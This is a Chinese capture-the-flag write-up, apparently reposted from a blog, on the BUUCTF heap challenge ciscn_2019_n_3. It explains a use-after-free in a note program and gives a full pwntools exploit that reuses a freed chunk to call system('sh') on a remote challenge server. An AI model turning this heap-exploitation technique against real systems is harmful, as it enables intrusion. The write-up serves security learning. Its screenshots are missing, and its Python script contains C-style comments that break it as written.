BUUCTF--ciscn_2019_n_31

发布时间:2024年01月04日

这是一题32位的堆题,照常看看保护:


没有开启PIE,接着进行黑盒测试:


菜单题,扔进IDA看看代码逻辑:


4这个功能是提供所谓的进阶版,当时我测试的时候以为是里面有后门还是什么的。结果发现是虚晃一枪,主要就是增加删除和展示。下面看看增加的代码功能:


我自己理解的注释写在了上面,do_new函数总结如下:

1.不管你是输入数字还是字符串内容,都会首先创建一个大小为0xc的chunk,用于存放两个函数指针。

2.如果是数字只会创建一个0xc大小的chunk,值存放在两个函数指针的后面。

3.如果是文本字符串内容,首先会创建一个0xc大小的chunk,首先用于存放两个函数指针,紧接着存放一个根据用户申请大小的堆块地址。用户输入的内容将存在于用户申请大小堆块里。

我们分别申请2个类型的堆看看:

申请一个纯数字类型的堆输入的值为0x41:


我们看到起始部分是有个0x151大小的堆。不用管他(应该是程序某个部分开辟的缓冲区)我们真正申请的是0x965d158。

然后我们看看堆里的内容:



我们看到没有任何问题。是我们猜想的那样。

紧接着我们看看申请类型2文本类型的堆会如何(这里我创建的堆的大小为0x88,值为10个a,索引值为0):


我们看到首先会创建一个0xc大小的堆,紧接着就是我们输入大小的堆。我们看看内容:



下面我们看看全局数组到底存了什么:


我们看到它会存放我们0xc的起始位置,看懂这个结构才能明白下面的free代码。

然后我们看看释放堆块的过程:

首先找到索引然后+4找到free的函数地址,紧着着把索引所对应的值当成参数传递


代码很少。但是为我们后续利用留下伏笔(出题人故意让你这么传参的)。因为本地我们用不到show这些功能,因此我就不分析了。我们只分析free的代码:



从free代码我们看到,只是释放那个堆,但是没有置空,全局变量里并没有清空这个堆块,这会引起UAF漏洞:


我们看到此时尽管有一块堆被我们释放并且进入了tcachebins中。但是全局数组依然记录这这块堆地址。(建议这里自己调试下,因为文字讲述实在过于抽象,我对tcachebins机制还不是很了解)

因此我们的利用点就在这了。因为程序中给了system的地址。并且没有开启PIE,因此我们只需要找到一块可重复利用空间覆盖成我们想要的。并利用上面的提到的传参规则。直接看wp比较好理解:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
#context.log_level = 'debug'
#io=process('./ciscn_2019_n_3')
io=remote('node5.buuoj.cn',27505)
elf = ELF("./ciscn_2019_n_3")


def new(idx,type,value,length=0):
    io.recvuntil("CNote")
    io.sendline(str(1))
    io.recvuntil("Index")
    io.sendline(str(idx))
    io.recvuntil("Type")
    io.sendline(str(type))
    if type == 1:
        io.recvuntil("Value")
        io.sendline(str(value))
    else:
            io.recvuntil("Length")
            io.sendline(str(length))
            io.recvuntil("Value")
            if length == 8:
                io.send(value)
            else:
                io.sendline(value)

def dele(idx):
    io.recvuntil("CNote")
    io.sendline(str(2))
    io.recvuntil("Index")
    io.sendline(str(idx))

def show(idx):
    io.recvuntil("CNote")
    io.sendline(str(3))
    io.recvuntil("Index")
    io.sendline(str(idx))

if __name__ == "__main__":
 #gdb.attach(io) 


  
  new(0,2,'a'*10,0x88)  //申请三个堆
  new(1,2,'b'*10,0x38)
  new(2,1,0x41)        //最末尾创建的大小为0xc的chunk,用于欺骗堆管理器 
  
  dele(1)          //释放索引为1的堆
  
  dele(2)          //释放索引为2的堆
  
  new(3,2,b'sh\x00\x00'+p32(elf.plt['system']),0xc)  //此时再次申请我们就能覆盖索引为1的0xc大

                                                     //小的堆快上
  
  dele(1)                    //触发system

io.interactive()

我这里解释下这个sh\x00\x00和bin/sh功能是一样的。但是这里限制4个字节所以bin/sh参数是用不了的


打通。

文章来源:https://blog.csdn.net/qq_30528603/article/details/135362720
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。